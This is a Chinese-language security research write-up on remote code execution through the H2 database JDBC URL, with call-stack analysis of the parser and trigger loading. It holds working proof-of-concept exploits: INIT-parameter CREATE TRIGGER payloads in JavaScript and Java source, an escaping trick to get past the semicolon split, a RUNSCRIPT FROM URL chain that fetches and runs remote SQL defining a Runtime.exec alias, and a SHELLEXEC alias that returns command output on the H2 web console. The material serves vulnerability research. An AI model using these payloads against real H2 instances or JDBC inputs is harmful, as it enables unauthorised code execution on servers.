JDBC H2 攻擊#
H2#
$$ 在 h2 中代表設定函數
eval 執行變異好的 var3 名稱的腳本
調用堆疊:
loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2
0x01 TRIGGER RCE#
javascript#
在 JDK15 中
JavaScript /Nashorn
引擎被徹底移除 (也就是jdk15
以上用不了//javascript
這種方式 rce,jsEngine會為null
然後空指針報錯)
環境
jdk8u20
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.200</version>
</dependency>
import java.sql.DriverManager;
public class H2 {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
"Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
java.sql.Connection conn = DriverManager.getConnection(simplexp2);
}
}
H2 解析流程#
public JdbcConnection(String var1, Properties var2) throws SQLException {
this(new ConnectionInfo(var1, var2), true);
}
先進入new ConnectionInfo(var1, var2)
, 查看如何設定一些連接信息的
進入readSettingsFromURL
回去
name 為 url 中後半段值,然後會解析 name 值,
tcp:
和ssl:
會開啟遠程remote=true
, 後面一處remote
的判斷會進行遠程連接
mem
: 表示使用內存模式,數據庫存儲在內存中。test
: 連接數據庫名稱。
因為 poc 設置的是mem:
, 會讓persistent = false;
, 這裡也是有用的,因為後面存在調用getName()
,
如果persistent != false;
會對 name 進行檢測,而且會剛好為 true, 然後拋錯
它會檢查 name
是否包含相對路徑的標誌(如 ./
、.\\
、:/
、:\\
等),並且 SysProperties.IMPLICIT_RELATIVE_PATH
是否為 false
。如果 name
不是絕對路徑且不包含這些相對路徑標誌,則會拋出一個異常。
然後就回到new ConnectionInfo(var1, var2)
, 後面就只有一個convertPasswords
處理和轉換密碼,但這裡沒設置,沒啥操作,到此解析連接信息部分結束
init#
獲取到連接信息之後才開始連接的過程
反射加載 H2 數據庫的引擎類,然後通過引擎類創建會話
調用 INSTANCE.createSessionAndValidate(ci)
方法來創建和驗證會話,然後再進入 openSession(ci);
去除連接信息中的IFEXISTS(是否存在)、FORBID_CREATION(禁止連接)、IGNORE_UNKNOWN_SETTINGS、CIPHER(連接密碼)、INIT
, 然後輸入部分信息調用openSession
嘗試打開會話
在另一個openSession
裡面獲取了DATABASES
名,並判斷是否存在和forbidCreation
是否為 true, 如果都不滿足就創建該數據庫,後面也創建了 user 和 password, 並把mem:test
作為剛才創建數據庫的鍵值,然後返回到原始的openSession
方法
如果init
變量不為空,則嘗試執行初始化命令。
parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)
初始化命令完成
然後來到TriggerObject#loadFromSource
, 調用執行
該函數是從源代碼加載觸發器對象,首先獲取數據庫的編譯器實例,然後構建觸發器的完整類名,即org.h2.dynamic.trigger.TRIG_JS
, setSource
將觸發器的源代碼設置為指定的類名,再檢查觸發器源代碼是否為 JavaScript 源代碼,如果是 JavaScript 源代碼,編譯並執行腳本。
然後先進入getCompiledScript()
這裡 JDK15 中 JavaScript /Nashorn
引擎被徹底移除 (也就是 jdk15 以上用不了//javascript
這種方式 rce, jsEngine會為null
然後空指針報錯)
再看一下是如何獲取到 js 引擎的,
"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"
然後names
和我們傳入的name
進行匹對,匹配到返回初始化的engine
但是這裡需要注意,javascript 在前面也是有一個判斷的:
小結#
這個攻擊方式主要是靠java Trigger
(Java 觸發器), 即執行後端 Java 代碼邏輯的容器來 rce, init 的命令被讀取了部分之後,將其當做Trigger
的Trigger源代碼
, 然後使用對應引擎執行該源代碼
編寫 poc 主要看解析 sql 語句的過程
0x02 繞過 //javascript#
嘗試註冊引擎 (失敗)#
因為 JDK15 之後用不了 javascript 了
上圖是在 jdk17 獲取 jsEngine 時,因為獲取引擎為 null, 導致後續報錯,因為在associations
中沒有找到註冊的引擎, 在 engineSpis
集合中沒有發現的引擎
然後我找到了 jdk17 一個可以註冊associations
的地方
但是需要看之前的 factory 是什麼,然後查看 jdk8 使用的 factory 為NashornScriptEngineFactory
, 同時 spis 就是通過 get 其 name 來獲取的
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
查看 jdk17 有哪些實現 factory 接口的類,可惜沒有
主要是 jdk17 沒有NashornScriptEngineFactory
和NashornScriptEngine
, 而且原始代碼直接 new 了ScriptEngineManager
就去找引擎了,根本沒有其他多的操作,這個流程你是不能控制的
控制生成 Trigger 代碼#
import java.sql.DriverManager;
public class H2_Bypass {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}
還是先查看解析 command 處
調用堆疊
parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass
剛好與 poc 一一對應,然後再到最後觸發處
fullClassName
和triggerSource
被裝入到 compilter 中,在跟進getClass(className);
public Method getMethod(String className) throws ClassNotFoundException {
Class<?> clazz = getClass(className);
Method[] methods = clazz.getDeclaredMethods();
...
跟進getClass
, 然後直接到classLoader.loadClass(packageAndClassName);
通過getCompleteSourceCode()補全
完整的 class 文件的代碼
, 包括package、className、sourcecode(poc中)
然後通過javaxToolsJavac
去加載那個 class, 然後 put 到一個 map 中,並返回
這個class對象
上面的調用堆疊:
findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)
最後再調用invoke
觸發惡意方法
0x03 INIT RunScript RCE#
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
poc.sql
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');
調用堆疊
execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
通過 while 循環執行每一條 sql 語句,一次執行一條
$$ 邏輯#
查看如何解析得到command
的,調用堆疊
initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
初始化
進入Tokenizer.tokenize
這就是解析 JDBC 字符串的關鍵了,會循環地去匹配字符開頭:比如我們字符串為RUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'
,開頭 R 進入 case 調用 readR
readR 先調用 findIdentifierEnd 去查找 keyword 關鍵字,這裡已經找到 RSCRIPT, 不過 RIGHT EOW ROWNUM 需要優先依次進行匹配,未匹配到最後調用 r eadIdentifierOrKeyword。這裡就完成了提取 RUNSCRIPT
接著空格略過
From 關鍵字
當遇到單引號時會把裡面的字符提出來,獲得 tokens 如下:
查看$$
邏輯
其中sql.substring(stringStart, stringEnd)
就是我們定義的函數
繞過 $#
上面已經看到了 $ 是通過new Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);
添加的,搜索CharacterStringToken
可以發現在readCharacterString
也存在,而在case '\''
存在調用
所以把 poc.sql 中的 $$ 換成單引號也可以,所以 0x02 中也可以切換
poc 需要注意的問題#
如果我們正常寫危險函數,是發現不能直接 rce 的,為什麼作者在後面還添加了一個轉譯符呢,
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'";
可以看到傳入 sql 的時候,多的那個轉譯符號已經沒了,往前追溯
此時 ci 中的 originalURL 還是 jdbc:h2:mem;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator");}'
如果不加轉譯符號呢
readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1
因為以;為分割,導致原始 poc 中的危險函數被分為兩部分
添加兩個轉譯符號即可
0x04 H2 數據庫利用 ALIAS#
下載 jar, 我下的是最新版本的,要用 jdk17 啟動,然後直接 Connect, 就有一個在線 h2 數據庫了
/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)
回顯#
DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//調用SHELLEXEC執行命令
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');
0x05 參考#
https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD
zjj